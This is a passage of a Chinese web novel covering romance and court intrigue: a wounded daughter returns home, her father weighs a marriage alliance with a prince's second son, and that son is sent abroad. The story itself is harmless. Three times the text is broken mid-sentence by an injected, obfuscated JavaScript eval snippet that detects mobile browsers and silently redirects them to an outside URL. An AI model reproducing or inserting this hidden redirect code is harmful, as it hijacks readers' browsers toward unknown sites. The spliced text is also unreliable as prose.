他不自觉地动了一下喉结。 她见他变了眼神,急忙把脸别到一旁。 而他却情不自禁地往前倾了倾身,一只手臂环住了她的腰。 她脸颊烫的厉害,也不知是烧得还是羞得,发觉他的臂弯在一点点收紧,轻吟了声:“身上燥得很,你松开我些。” 他没松。 “言儿。”房门突然被人推开,只见沈支言的父亲沈贵临带着几人焦急而来。 沈贵临望见榻上抱着的二人,顿时僵住了。 沈支言看到父亲,急忙推开薛召容,眼眶倏地红了,唤了声:“父亲。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567343|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声裹着高热的委屈,像是迷途的稚子终于望见了归家的灯。 “言儿。”沈贵临应着,忙冲到榻前,一把握住她滚烫的手,见那素来矜贵的女儿烧得双颊绯红,开口声音都颤了,“言儿怎么伤成这样?可请大夫瞧过了?” 沈支言强忍着眼泪,点头回道:“父亲莫要担心,伤口都包扎妥当了,只是有些发热。您怎么寻到这儿来了?大哥他们可是找到了?” “找到了,你大哥一家都平安回来了。”沈贵临用袖角拭了拭她额间的冷汗,“将军府来人报信,说你和义沅遇袭重伤,多亏薛二公子相救。只是伤成这样为何还不回府?我们府上的大夫总归好些,在父母身边总会踏实些。你娘亲见不着你急得睡不下,眼睛都要哭肿了。” 说起母亲,沈支言的眼泪顿时溢满眼眶。 “父亲,这位大夫医术挺好的,你看。”她强忍着疼痛抬了抬手臂,“已经没有大碍了,此番多亏薛二公子相救,他也伤得不轻,还请父亲备辆马车送他回府。” 沈贵临闻言看向一旁的薛召容,薛召容朝他郑重行了一礼:“晚辈见过沈伯父。” 沈贵临瞧着他伤的确实不轻,忙道:“公子不必客气,今日多亏你出手相救。” 随行的何苏玄已经走上前来,担忧道:“妹妹伤成这样,合该立即回府医治才是。姑父派人寻了半宿,却不想你们竟在这里。只是妹妹毕竟是一女子,受着伤露宿外头再有个闪失该如何好?薛二公子既然救了人,为何不早些将她送回太傅府?时下又发了高热,万一……” “表哥。”沈支言蹙眉打断他,“我如今能好端端在这里,全仗薛二公子相救,应该感激他才是。别说了,回府吧。” 何苏玄开口就是抱怨,沈支言不愿听。 何苏玄看了一眼薛召容没再说话。 沈贵临俯身将女儿打横抱起,快步出了房间。 沈支言蜷在父亲怀中,恍惚间仿佛回到幼时生病的光景,父亲宽厚的臂膀,终究是最令人安心的地方。 苏叶见父女俩出去了,冷眼对薛召容道:“薛公子不妨细想,究竟是私心重要,还是人命要紧?” 在何苏玄眼里,薛召容这般不及时送人回府就是私心。 薛召容知晓这位表哥看他不顺眼,原本苍白的脸色骤然一沉,懒得与他多言便出了房间。 沈贵临把沈支言放上马车,见薛召容出来,迎上前道:“还请薛公子随我们回府一趟,我有话要说。” 薛召容爽快应下,一行人便匆匆回了太傅府。 沈夫人苏冉见女儿回来,激动地红了眼眶,立即叫来府上医师。 医师重新为二人处理伤口,又熬了汤药让他们服下,苏冉还亲手给他们做了热汤让他们暖身子。 待二人精神都好了些,沈贵临才将薛召容叫到书房。 “薛公子请坐。”沈贵临客气地招呼他,“昨夜多亏公子救了言儿和义沅,实在感谢。” 薛召容忙行了一礼:“伯父不必客气,也怪我未能护她周全。” 沈贵临示意他坐下,又亲手斟了盏茶递给他。 薛召容接过茶盏道了声谢,却听沈贵临道:“今早你父亲与我聊了几句,提到了你的婚事。你父亲准备让你近期成婚,还问我有没有意愿把女儿嫁给你。” “婚嫁之事不可儿戏,我不希望言儿随意嫁人。小姑娘有什么心思也很少与父母说,时下她有没有钟情的人我们还不知晓。” 他说到这里,看了看薛召容的神色:“不知薛公子对婚事有什么想法?听说你昨日为了寻支言,一大早就过来了,还送了她一盒口脂。” 并且方才在医馆推门进去时,还见他抱了人,那动作像是要亲上去了。 薛召容一听口脂,脸颊立马红了。 19. 第 19 章 从前未识情滋味时,薛召容从未想过娶妻生子这等事。每日不过是麻木地周旋于父亲掌控之下,如困兽般在方寸之地挣扎。虽有心搏出一片天地,奈何父亲权势滔天,将他这只幼虎牢牢囚在樊笼之中。 直到遇见沈支言,那些莫名涌来的记忆碎片搅得他心绪大乱。他自幼对七情六欲极是迟钝,此刻更分不清心头这份悸动究竟为何,只知脑海中全是那人的身影,冥冥中似有千丝万缕的牵连,每每靠近时,也总会不由自主地做出些亲密举动,连他自己都说不清缘由。 此刻被她父亲这般直白询问,他竟不知如何作答。垂首沉默良久,喉间几番滚动,终究没能寻到合适的词句来形容这般复杂心绪。 沈贵临见他久未应答,不由轻笑:“年轻人一时情热在所难免,可婚姻大事,是否担得起这份责任,能否为对方撑起一片天,终究要思量清楚。我们这样的人家,虽多是利益联姻,但既然结为夫妻,便该有始有终,方显男儿担当。” “为人父母,自然盼着女儿能嫁得称心如意。可你们亲王府眼下处境你应知晓。你父亲这步棋,我并非不能理解,只是搭上小女终身幸福,终归不忍,无论如何都要尊重她的意思。今日唤你来,也是想听听你的打算。” “你生在官宦之家,当知朝堂之上步步惊心。这等关乎两家命运的决定,容不得半点儿戏。” 沈贵临宦海沉浮数十载,于朝堂风云、儿女情长皆看得通透。他深知年轻人血气方刚,最易为情所惑,尤是那些性子内敛的,往往连自己的心意都辨不分明。 多少姻缘就这般稀里糊涂地结下,到头来相对无言,蹉跎一生。 他细瞧着薛召容的神色,继续道:“作为父亲,我只盼着女儿日日欢喜。纵是起初无情,若能日久生暖也好。但求对方是个正直良善的,肯以真心相待。” 沈贵临句句肺腑,薛召容垂首静听,末了沉声道:“伯父所言极是。家父行事向来雷霆手段,此番联姻确是最快破局之法。今日大哥一家遇险,足见对方已迫不及待要斩断我府羽翼。” “可若因此委屈了沈姑娘,实非我所愿。父亲给了我七日时间,这七日,我原是想好生与沈姑娘相处,探明彼此心意。若到头来仍是勉强,我定会设法劝父亲另谋他路,绝不会纠缠。” 他这番话字字恳切,倒显出几分不同于其父的磊落。 沈贵临与薛亲王私交甚笃,对亲王府两位公子也多有耳闻。长子薛廷衍才华横溢,风度翩翩,待人接物温润如玉,是京城公认的翩翩佳公子,更是薛亲王精心栽培的继承人。 而眼前这位薛二公子,虽鲜少在人前露面,却也是个能耐非凡的。听说那些棘手难办的差事,多半都落在他肩上。论才干品貌,倒也不输其兄,只是这性子太过冷峻寡言,与自家那个同样内敛的女儿凑在一处,只怕是相对无言,不好相处。 最教人唏嘘的,是薛亲王这番安排到底还是舍不得让金尊玉贵的长子出来联姻。想来在那位亲王眼中,怕是没人配得上他那引以为傲的嫡长子。不过,眼前这个次子,除却性情冷淡些,倒也是个难得的佳婿。 沈贵临沉吟片刻,开口道:“此事需得慎重,但我也了解你父亲的性子,他若做出决定,恐怕你很难推脱,但是迫在眉睫的事情总得解决,不如你和言儿先接触接触,看看她的意思。” 薛召容闻言,立即躬身长揖:“多谢伯父体恤。只是,小侄还有个不情之请,望伯父能够答应。” “但说无妨。” —— 沈支言经太医诊治,又得母亲精心照料,高热已退,气色渐佳。 娘亲坐在榻边,握着女儿的手不住垂泪。沈支言抬手轻抚母亲红肿的眼角,柔声道:“母亲怎么又哭了?女儿这不是好端端的?不过些许小伤,能捡回条命已是万幸。” 娘亲见她这般豁达,又是心疼又是欣慰:“娘亲只是想着,好端端的怎会出这等事?从小到大,你手上划道口子娘都要心疼多日,如今背上这么重的伤该多疼啊!这要养到何时才能好?” 沈支言轻抚母亲的手背,温声劝慰:“人生在世,难免要经历些风浪。女儿此番能死里逃生,已是福泽深厚。只是不知义沅姐姐伤势如何,还望母亲多派些人去看顾。” 娘亲道:“好,那孩子也是个硬气的,听说处理伤口时一声不吭,还时时惦记着寻你。”她替女儿掖了掖被角,“待你好些,娘亲陪你去瞧瞧她。” 江义沅生死关头不离不弃的情谊,让沈支言此生难忘。这场无妄之灾中,若非薛召容及时相救,只怕她们已经命送黄泉。 大哥一家没有受伤,可两个孩子受到了很大惊吓,大哥匆匆过来看她,未多待就去照看妻儿了,失踪之事也未来得及细说,不过父亲说已擒住几名黑衣人,正在审问,但愿能揪出幕后主使。 沈支言倦意渐渐袭来,娘亲见状起身声道:“你且歇着,娘亲去给你煨些滋补的汤来。” “好的娘。” 娘亲刚离去不一会,表哥何苏玄便来了。他见榻上之人面色苍白如纸,眼眶倏地红了,坐在床沿轻声道:“妹妹可是好些了?伤成这样,哥哥着实心疼,这些日子你且安心将养,我定会查出幕后之人。说来,都怪我昨日带你们去赏灯,否则也不会出现这等事情。” “表哥不必自责。”沈支言虚弱地笑了笑,“祸福自有定数。即便昨日不出门,该来的劫数也躲不过。” 何苏玄望着这般通透的姑娘,心头酸涩更甚,也愈发惭愧,抬手想为她拢一拢散落的鬓发,却被她偏头避开了。 “表哥寻了我与大哥整夜,想必也乏了。我这儿无碍的,你且回去歇息罢。”她让他走。 他的手僵在半空,蜷了蜷手指,缓缓收回:“我还好,多谢妹妹关心,你可想吃什么?我去给你买。” “我没有胃口,表哥快去歇着吧。”她又催他回去。 近来她总是这般疏离,让他觉得有把钝刀在心头慢慢磨着。 他没有动身,而是道:“姑父把薛二公子叫到了书房,也不知在聊些什么。” 好一会了,一直没有出来。 沈支言听闻这话没做声,屋里安静了片刻,方又劝了句:“表哥,我实在困了。” 她现在只想一个人待着,也想安安稳稳睡一觉。 她既这般说,何苏玄只好起身,温声道:“那妹妹好生歇着,我晚些再来看你。” 他原有许多话想说,可见她神色倦怠,终是咽了回去。出了房门后,他立在廊下深深吐了口气,目光却不由自主地望向书房方向。 薛召容进去这般久,竟还未出来。 心头那股无名火愈烧愈烈,搅得他五脏六腑都不得安宁。分明是自己从小护到大的姑娘,如今却仿佛要被人生生夺走似的。 他正欲离去,忽听书房门“吱呀”一声轻响,抬眸便见薛召容踏出门来,两人隔着庭院遥遥相望。各自从对方眼中瞧见了冷冽的锋芒。 真是奇怪,明明素无交集,却偏生如两只狭路相逢的猛兽,剑拔弩张,都龇出了森森利齿。 他收回视线,出了太傅府,回府换了身衣裳,便被父亲唤至书房。 父亲何弘毅时任吏部侍郎,年过半百却精神矍铄,近来正为儿子科考之事四处奔走,盼他能摘得探花之位。 “父亲。”何苏玄行礼问安。 何弘毅抬手示意他坐下:“沈家那边如何了?可寻到支言了?” “回父亲,已经寻到了。”何苏玄低声道,“昨日途中遇袭,幸得薛家二公子相救,只是伤得不轻。” “薛家二公子?”何弘毅眉头一皱,“看来亲王府已经行动了。薛亲王真是打得好算盘,既要拉拢将军府,又惦记着太傅府。这般明目张胆地结党,真当圣上会怕吗?让长子坐镇朝堂,次子出来联姻,这是要破釜沉舟啊。” 何弘毅久经官场,对朝局洞若观火。薛亲王那般刚愎自用的性子,他素来敬而远之,带刺的玫瑰终究扎手,又怎会让自己卷入漩涡?正因这份谨慎,他何家闺秀才未被列入联姻之选。 “父亲。”何苏玄眉宇间凝着郁色,“儿子早前与您提过,有意迎娶支言。我们自幼相伴,她性子我最是清楚,与她相处很舒服,并且她也处处依着我。太傅府男丁兴旺,与她成婚于我们也有帮助。” “帮助?”何弘毅低笑一声,“你当这是儿戏?为父这些时日四处周旋,为的就是让你有望迎娶公主,你怎么还惦记着支言?你姑父与薛亲王走得太近,若来日东窗事发,太傅府首当其冲,你若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573033|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真娶了支言,以为我们何家能独善其身?” 到底是宦海沉浮多年的老臣,将朝堂利害看得分明。与其卷入党派之争,不如安安分分做天子纯臣。 何苏玄沉默片刻,低声道:“儿子近日与公主多有接触,她的性子太过刚强。若真成了婚,只怕日后会很辛苦。” 何苏玄素来清醒,自然明白公主不是良配,那样骄纵的性子,有权有势,婚后岂会安生? 何弘毅沉声道:“昨日朝堂上,圣上还夸你才学过人,公主也对你青眼有加,你可不能临阵退缩。你若真放不下支言,大可私下往来,但公主这边绝不能断。若此次科考得中,圣上赐婚,你便是一步登天。若不成,再考虑支言也不迟。” 何苏玄眉头紧锁:“父亲,婚姻终究是终身之事,岂能全凭权势衡量?公主性子强势,若勉强成婚,定不会幸福。” 何弘毅嗤笑一声:“谈什么幸福,这世间的一切,唯有握在手里的权柄才最实在,为父苦心栽培你多年,就盼你光耀门楣,如今你怎能因儿女情长畏首畏尾?你若不甘,可做两手准备。” 作为朝臣的何弘毅,眼里看到的,从来只有权势。 何苏玄沉默,他深知父亲的脾性,也明白世家子弟的宿命,许多事,本就没得选。 房间里安静了好一会。 何弘毅不再争取他的意见,直接道:“你没有选择,也休要任性,就按为父的安排去做。” 一家之主,说话一向不容反抗。 何苏玄皱着眉头,压着心绪回道:“好,儿子都听父亲的。只是支言这边,薛召容近来频频接近她,儿子实在放心不下,能否请父亲与姑母去说说。他那样的人,想来姑母也不愿将女儿许给他。” “好,我会和你母亲走一趟。不过公主那边你必须多上心。” “是,父亲。” —— 沈支言小憩醒来,身上松快了些。杏儿说薛召容与父亲谈完话后,出去一趟又回来了,现在在门外等着。 她让杏儿把人叫了进来。 他进来时带来许多东西,一一摆放在桌子上,对她道:“我在街上买了这些,你瞧瞧可有合心意的。” 沈支言惊讶地望着那满桌物件,目光落在一个锦盒上,问他:“那是什么?” 他拿起锦盒,打开给她看:“店家说姑娘家都爱这样的镯子,我给你买了一对。” 沈支言:“……” 镯子质地挺好,就是款式有些老气。 薛召容问她:“可是喜欢?” 她点了下头,又瞥见个布袋,问道:“那里头是什么?” 薛召容又解开布带,掏出一些五颜六色的帕子:“我买了十二条帕子,各色花样都有,你拣个最称心的。” 昨日她瞧着她的帕子染了血,想送给她一条,可又不知她喜欢什么颜色。 沈支言望着那十二条手帕,一时竟不知该说什么,愣了一会,从那些帕子里拣了条素白的:“这个好看,我喜欢白色。” 原来她喜欢白色。 他把其余的帕子收起来,又打开一个食盒:“这是新出的糕点,模样好看,想来味道也不差。” 她看了看,拈起一块,低语一句:“好看未必就是好的。” 他却接道:“但总能赏心悦目,也算是个长处。” 这话不假,沈支言闻言笑了,觉得他挺有意思的,说话比前世有趣。 他还是头一回见她笑,就像风拂过冰湖,霎时潋滟生光。 原来她笑起来这般好看。 她咬了口糕点,看了眼屋外天色:“薛公子,多谢你给我买这些,天色不早了,你身上还有伤,早些回府吧。” 出来这么久,他也该回去好好休息了。 薛召容从一旁扯了把椅子坐下,回道:“我的伤已无大碍,伯父要留我在府上用饭,我晚些再回去。” 他说着,目光落在她还有些苍白的小脸上,那双带着惊讶的眸子望着他,好似清晨时的春露在心尖漾开。 他望着望着,温香软玉的交缠画面又闪现脑海,心绪也不自觉地翻腾起来,那种极其熟悉且带着些怨气的感觉,激得他脑袋倏地一疼,脱口叫了她一声:“支言。” 支言。 20. 第 20 章 这一声“支言”唤得沈支言心头猛地一颤。抬眸正对上薛召容灼灼目光,那眼底翻涌的情愫与前世如出一辙。 前世每当他这般唤她时,总要直勾勾盯着她瞧,直瞧得她手足无措,想逃却被他一把扣住腕子:“躲什么?” 那时他掌心滚烫,总带着几分怨气:“我们是夫妻,我看你、同你说话,天经地义。” 可他们当初说好互不相扰的,结果她越躲,他越要欺身上前,最后总落得个两败俱伤。 此刻这声呼唤里藏着的执拗,与记忆中分毫不差。 她指尖不自觉地攥紧了锦被,垂眸避开他的视线。 屋内一时静得落针可闻。 薛召容忽觉额角阵阵抽痛,抬手揉了揉太阳穴,甫一闭眼,那些破碎的画面愈发汹涌:他看见自己步步逼近床榻,一把扣住她纤细的手腕,声声质问,“为何总要躲?为何总放不下你表哥?”那声音里浸着痛楚,“支言,你是我的妻。” 他的妻。 他再睁眼,却见自己已经近到沈支言跟前,她纤细的手腕也已被他攥在手中。 她蹙眉望着他,眸中复杂,也似含着心疼。 这眼神好熟悉,带着些怜悯。 他的手掌仍紧紧扣着她的手腕,近得能看清她轻颤的羽睫,能嗅到她衣袂间熟悉的幽香。这般亲密接触,让他越发确信,她定是曾与他有过肌肤之亲的。 沈支言望着他,瞧着他眼底翻涌的痛色,眸中渐渐泛起水光。她很矛盾,既盼着他能忆起前尘,又怕他当真记起那些不堪的过往。 这般心绪绞得她心口生疼,下意识地想要抽手,却被他攥得更紧。 “支言。”他轻声叫她,“我脑中总有些古怪的记忆,这些记忆全都是关于你的。” 这些记忆让他凌乱。 而她心中已是翻江倒海 他倾身向前,鼻尖堪堪擦过她的鼻梁,唇瓣几乎要贴了上去。 温热的呼吸拂在面上,她只觉脸颊烧得厉害,连脖颈都泛起绯色。她紧张地抿了抿唇,指尖无意识地蜷缩,却被他整个裹入掌心。下一刻,另一只骨节分明的手已扣住她的腰肢,将她整个人抵在了雕花床柱上。 她的青衫不知何时滑落半肩,墨发如瀑倾泻而下,混着淡淡的药香与清冽气息,修长的颈项线条分明,衣襟微敞处隐约可见锁骨的轮廓。 他的眼神愈加迷离,二人心跳声也震耳欲聋,就连呼吸都变得灼热。 她的后背紧贴着床柱,指尖不自觉地掐着他的手臂。她慌张地吸了一口气,唇瓣不经意擦过他的嘴角,使她心头猛地一颤。 她轻吟一声:“你别这样,该回去了。” 他没有做声,单膝抵在榻边,揽在她腰际的手臂收得更紧,丝毫没有离开的意思。 他身上熟悉的体温混着清冽气息扑面而来,让她觉得与前世一般无二。一时间,她竟分不清这是前世还是今生,仿佛他们仍是那对总是相对无言、又可以激情缠绵的夫妻。 她不自觉地抬起手要抚他的胸膛,忽又惊醒般缩了回来。 “支言。”他轻唤她,好似被施了咒一般,唇瓣已是凑了上来。 “咯吱”一声,房门突然开了。 推门而来的娘亲苏冉端着鸡汤愣在了门前,手中的瓷盏险些落在地上。 床上相拥的二人闻声僵住。 薛召容缓过神,急忙松开沈支言,涨红着脸冲苏冉慌忙行了一礼:“伯母……我。” 他尴尬地顿住。 房间里一时静得出奇。 沈支言僵在床上,脸颊也烧得滚烫,指尖无意识地绞着被角。 苏冉吐了口气,强自镇定地将新盛的鸡汤放在桌上,目光在两人之间扫视。 他们方才,在亲吻? 亲吻? 苏冉简直不可置信。 沈支言悄悄抬眼,正对上薛召容局促的目光,她微微使了个眼色,他立刻会意,忙朝苏冉深深一揖:“伯母……晚辈先告退了。” 他话音未落,脸已红透,逃也似地出了房间。 苏冉在原地愣了一会,然后端着鸡汤走到床边坐下。母女二人面面相觑,沈支言羞得垂下脑袋,恨不得找个地缝钻进去。 “这汤温度刚好,快喝下。”苏冉舀起一勺鸡汤,状若无事地递到她唇边。 “娘,我、我自己来。”沈支言忙接过娘亲手中的碗。 苏冉瞧着她红透的脸蛋,笑了笑道:“言儿,你告诉娘,你与薛二公子何时好的。” “没有好。”沈支言急忙解释,“方才……方才他只是查看伤口。” 她说得心虚。 苏冉见她这般慌乱,不由莞尔:“你先把汤喝了,娘有话同你说。” 沈支言赶忙捧起碗,将鸡汤一饮而尽,都没尝出什么味道。 苏冉接过空碗搁在案上,轻轻握住她的手:“娘亲也听说了些风声,薛亲王有意与将军府联姻,偏生义沅不愿,这才将主意打到咱们太傅府头上。” 她帮女儿理了理滑落肩头的衣衫:“薛二公子瞧着倒是一表人才,与你也算般配,只是婚姻大事,终究要讲个情投意合。若你当真喜欢,爹娘不会阻拦,若是你不愿,爹娘也会设法与亲王府周旋。” 沈支言道:“娘,女儿不想嫁人,就想永远陪着您和父亲。朝堂上的风波,不是联姻就能平息的。即便我与薛召容成了婚,也不过是给皇家做个样子罢了。” 到头来还不是落得个满门抄斩。 苏冉叹了口气,抚着她的发丝道:“傻孩子,你年纪尚轻,哪里懂得这些?薛亲王此番动作,绝非只是虚张声势,其中牵扯之深,连你父亲都要再三斟酌。不过你放心,爹娘绝不会勉强你,毕竟是终身大事,自是愿你嫁个称心如意的。” 沈支言也在心中叹息,前世那时她懵懂出阁,婚后终日郁郁,每次归宁,母亲总是忧心忡忡地拉着她的手问:“支言啊,若受了委屈定要告诉娘亲。你父亲、兄长们都会为你做主。” 那时的她,眼里早已没了光彩,仿佛世间万物都激不起半分涟漪。每次娘亲问起,她都只是木然地答:“我很好,薛召容待我也好。” 确实,吃穿用度从未短缺,年节时他也会来她院里坐坐。可除此之外,两人之间仍横亘着无法跨越的鸿沟,只要触及情字,不是争执便是冷战。 她曾无数次在深夜里后悔,为何要踏上花轿,为何要踏进婚姻的泥潭之中。 而如今,苍天给她重来一次的机会,她怎会再盲目走进婚姻。 她轻握住母亲的手,眼中清明:“娘亲,嫁人并非女子必经之事,这一世,我只愿常伴双亲膝下,不再成婚。” 苏冉听着,心中酸涩,拍了拍她的手道:“娘亲明白,只是那薛二公子待你似乎不同。昨日他借着寻你兄长的由头过来,实则为了见你。用膳时,娘亲见他总往你这儿瞧,也许对你有意思。” 有意思?沈支言脸上又是一红,不知要说什么。 苏冉瞧着她这般样子,不由轻笑。女儿是她身上掉下来的肉,其小心思她岂会看不懂。 她没再追问。杏儿进来禀报:“夫人,小姐,何家老爷和夫人来了。” —— 薛召容今日本欲留在太傅府用膳,也想多陪陪沈支言,可方才他竟似中了邪般,鬼使神差地将人抵在床柱上索吻。若非沈夫人突然出现,他都不知道自己会做出什么来。 此刻回想,那不受控的举动,仿佛有另一个灵魂在支配着他的身体。在沈夫人眼皮子底下做出那般孟浪之举,真让他恨不能找个地缝钻进去。 回府一路上,他耳边仿佛还回荡着自己失控的心跳声。 到了亲王府,鹤川远远迎上来,见他面色异常,急道:“听说您受了重伤?怎么脸色这般红?可是发热了?” 薛召容抬手碰了碰滚烫的脸颊,快步往屋里走:“伤已无碍。” “那您这是怎么了?脸太红了,有点不对。”鹤川亦步亦趋地跟着。 “因为沈支言。”他声音低得几不可闻。 “沈姑娘?”鹤川一愣,“沈姑娘怎么了?” “方才在她房中时,我脑中突然闪过些奇怪的画面,然后就……将她抵在墙边……” 差点亲了她。 鹤川瞪了瞪眼,恍然道:“难道公子已经与沈姑娘好上了?王爷让您娶亲之事,要成?” 鹤川有些激动,他正为自家主子这桩婚事发着愁呢。以公子这般冷清的性子,似乎很难讨姑娘欢心,谁曾想进展竟这般神速。他嘀咕道:“莫非是昨日英雄救美打动了沈姑娘?” 薛召容摇头:“我觉得她还无法接受。” “无法接受?那她是何反应?若未激烈抗拒,许是心中也有几分情愿?姑娘家面皮薄,嘴上推拒,心里未必不乐意。” 薛召容凝神回想:“她看我的眼神确与旁人不同。我抱她时,她只轻声道了句‘别这样’。” “这不就是默许了?”鹤川抚掌笑道,“既如此,不如直接上门提亲。” “不可。”薛召容微蹙眉头,“我二人皆有些古怪的记忆缠绕,需得先弄明白,何况若因这些虚幻印象贸然求娶,未免轻率,我已向她父亲保证,不会强迫。我父亲给了七日之期,这几日我多去走动,最后若她情愿,我们再成婚。” 鹤川听得“成婚”二字,心头一热。他自幼伴着公子长大,深知公子从未尝过亲情滋味,在这冷冰冰的亲王府里,连半分温情都难觅,若真能与沈姑娘结为连理,得个知冷知热的贴心人,那真是太好了。 他正想着,忽见管家匆匆过来:“二公子,王爷请您过去。” “好。”薛召容应了一声,去了父亲房间。 书房内,父亲端坐案前,见他进来,难得关切地问:“昨日为救沈家姑娘受的伤,可好些了?” 薛召容颔首回道:“已无大碍了。” 父亲难得地夸赞道:“昨日救下沈姑娘,做得不错。想必沈太傅会好生考量这门亲事,过几日为父便带你去提亲。不过,眼下你大哥在西域与商队起了冲突,你即刻动身,去把那个西域头领解决了,再护送你兄长回京。” 薛召容闻言喉头一哽,父亲果然不会单纯地关心他的伤情。他笔挺地站着,半晌没能应声。 父亲蹙眉看他,沉声问:“你有其他事?” 他回道:“我想这些日与沈姑娘多接触接触。” 他已经许诺她会每天陪着她。 父亲笑了一声,那笑声里意味不明,让他听起来很是不适。 父亲的声音沉了下来:“这事比不得你大哥的安危重要,旁人我不放心,必须由你去接应他。” 薛召容:“父亲先前允诺的七日之期还未到,我已经答应沈姑娘……” “答应什么?”父亲一掌拍在案上,震得茶盏叮当作响,“救下沈姑娘已是天大的契机,届时直接上门提亲便是,何须再多此一举?今日就启程去西域,速去速回,必须护你大哥万无一失,否则拿你是问。” 大哥。 果然,在父亲眼中,他的人生必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578533|170983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须得围着大哥转。他心中甚是酸涩,只觉一股寒意从脊背窜上来。他攥紧拳头,抬头直视父亲的眼睛,道:“即便是提亲,也该让沈姑娘有个准备。婚姻大事,岂能这般强人所难?” “强人所难?”父亲冷笑,“你何时变得这般妇人之仁?可知今日朝堂上,满朝文武跪求圣上削了你大哥的官职?西域这桩麻烦,也是皇家在背后操纵。你该分清,你大哥的仕途与你那点儿女情长,哪个更为重要。” 父亲字字如刀,好像他的意愿,从来都不值一提。 “父亲既允我与沈姑娘成婚,就该多给我些时日与她相处。婚姻乃终身大事,即便太傅府与亲王府利益相连,也该给予最基本的尊重。西域我可以去,但求父亲莫要将婚事逼得太急。王府的危难,我也会设法帮助父亲解决。” “你解决?离了亲王府,你算什么?能娶到太傅之女已是抬举你。若真这般不满,大可将王府赐你的一切都抛下去做个马夫,岂不自在?” 马夫。 这番话如冰锥刺心,薛召容攥紧的指节已然发白,原来在父亲眼中,他这个儿子竟如此轻贱。这些年他为王府出生入死,到头来却只换来这般言辞。 他还想再争,忽听“砰”的一声巨响,茶盏已在案上拍得粉碎,父亲厉声喝道:“鹤川,去准备准备,即可带他出发。” 门外的鹤川闻声打了个寒颤,慌忙进屋行礼,抬眼间,只见自家公子僵立原地,双拳紧攥得青筋暴起。 薛亲王冷眼扫来,鹤川连忙扯了扯主子衣袖:“公子,走吧!” 再僵持下去,怕是王爷要动手了。 好一会,薛召容才转身出去。 廊下春风徐徐,鹤川小跑着跟上他,担忧道:“公子,路途遥远,您背上还有伤,不如请位太医随行。” 他未做声。 鹤川瞧着他神色冷然,没再追问,遣了小厮去太医院请人。 二人回到院中,鹤川忙着打点行装,他却独坐石凳上出神。 鹤川备好马车,过来问:“公子,可要去太傅府与沈姑娘道个别?” 道别。 前脚刚许日日相陪,后脚就去道别,多可笑。 他揉了揉眉心,沉声回道:“不必了。在事情还能收场之前,别再扰她了。此去西域凶险未卜,若能平安归来,亲王府的事再想其他法子罢。” 到底是不忍心将那美好的姑娘拉下水。 —— 何家夫妇来探望时,满屋子都是笑语。舅母亲手熬了参汤,一勺勺喂到沈支言唇边。 这对夫妇向来待沈支言极为亲厚,舅母常给她做绣帕,舅舅还总带些新奇玩意儿哄她开心。 可舅母今日话里话外却总绕着婚嫁之事打转,说着说着,话锋还转到了亲王府。 起初沈支言只当是闲谈,可听着听着便觉出不对,舅母字字句句都在夸赞亲王府的大公子,话里话外却将薛召容贬得一文不值,什么“性情乖戾”、“手段狠辣”之类的词都往外冒。 她越听心头越烦闷,隐约猜到了舅舅舅母此行的用意。 待送走客人,她吩咐杏儿将薛召容送来的物件好生收起来。小丫鬟整理着那些锦盒,偷眼瞧见自家小姐唇角时不时漾起的笑意,忍不住打趣:“小姐今日气色真好,可是有什么喜事?” “喜事?没有。”沈支言摇头,却见杏儿指着妆台上的铜镜道:“您自个儿瞧瞧,这眼角眉梢都带着笑呢,莫不是有了意中人。” 镜中人双颊果然泛着桃花色。 沈支言未做声。 杏儿抿嘴偷笑,自打薛二公子又是救命又是送胭脂的,小姐整个人都鲜活起来。口脂那样亲密物件可不能乱送,薛二公子若非有心,怎会送她。 说来,此人与小姐倒是挺般配的,样貌出众又有才华,虽然不善言谈,但是人品却是极佳的,又舍得拼命,嫁给这样的人,日子不会太差。 自从杏儿打趣之后,沈支言这一整日眉梢眼角都噙着笑意,时不时往院门外张望。 到了翌日清晨,她早早起身,趁着天光正好,让杏儿扶着她到院中赏花。 满园芬芳沁人心脾,让她觉得心情格外舒畅。到了日暮时分,杏儿却说她神色不对,还问她可是伤口又疼了。 她只摇头,自己也说不清为何心情突然低落起来。 又过了一日,那个说好要天天陪她的人却始终没有露面。明明约定了五日之期,可两日过去,连个人影都不见。 转眼到了五日,依旧未见那人身影。 这期间,阮玲与江义沅常来探望,义沅姐姐伤情恢复的很好,还说要同他一道去谢过薛二公子。但那人却似人间蒸发般,再未露面。 沈支言原想向二哥打听,转念又作罢了。既然决意斩断牵扯,又何必徒增念想。 又过了四五日,连杏儿都瞧出她心绪不佳,担忧问道:“小姐这几日怎么总蹙着眉?” 而她只是摇头不语,自己也说不清怎么了。 时下已到了春深,许多新鲜果子都下来了。 